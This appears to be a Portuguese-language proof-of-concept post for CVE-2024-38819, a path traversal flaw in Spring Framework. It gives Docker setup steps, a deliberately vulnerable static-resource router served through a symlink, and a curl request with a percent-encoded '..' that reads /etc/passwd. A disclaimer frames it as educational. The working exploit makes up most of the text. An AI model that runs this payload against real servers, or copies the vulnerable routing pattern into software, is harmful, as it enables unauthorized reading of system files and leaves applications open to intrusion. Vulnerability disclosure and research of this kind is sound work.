CVE-2024-38819: Prova de Conceito (PoC)

Esta é uma prova de conceito para a vulnerabilidade CVE-2024-38819, que reportei, demonstrando um exploit de path traversal.

Passos de Execução

1. Construir a imagem Docker (Spring Boot 3.3.4, baseado no Spring Framework 6.1.13)

   root@kitploit:~

   cd vuln
   docker build -t cve-2024-38819-poc .
   

2. Executar o container e expor a porta 8080 para a máquina anfitriã

   root@kitploit:~

   docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc
   

3. Executar o seguinte comando para executar o PoC e confirmar a vulnerabilidade

   root@kitploit:~

   curl http://localhost:8080/static/link/%2e%2e/etc/passwd
   

   Se o ataque for bem-sucedido, o conteúdo do arquivo /etc/passwd será exibido.

Explicação

1. Criar PathTraversalDemoApplication.java com o seguinte código para configurar o roteamento de arquivos estáticos usando RouterFunction e FileSystemResource:

   root@kitploit:~

   public RouterFunction<ServerResponse> staticResourceRouter() {
       return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
   }
   

2. Adicionar o seguinte comando ao Dockerfile para criar um link simbólico:

   root@kitploit:~

   RUN ln -s /static /app/static/link
   

3. Criar um payload que utiliza percent-encoding para atravessar diretórios através do link simbólico.

   • Caminho: /static/link/%2e%2e/etc/passwd

4. Usar o seguinte comando curl para executar o PoC e verificar se o ataque é bem-sucedido:

   root@kitploit:~

   curl http://localhost:8080/static/link/%2e%2e/etc/passwd
   

   Se o ataque for bem-sucedido, o conteúdo do arquivo /etc/passwd será exibido.

Aviso Legal

Este PoC é fornecido para fins educacionais e de pesquisa em segurança. Antes de usá-lo em um sistema real, certifique-se de que a vulnerabilidade foi corrigida e que você possui a devida autorização. O autor não se responsabiliza por qualquer uso indevido deste código.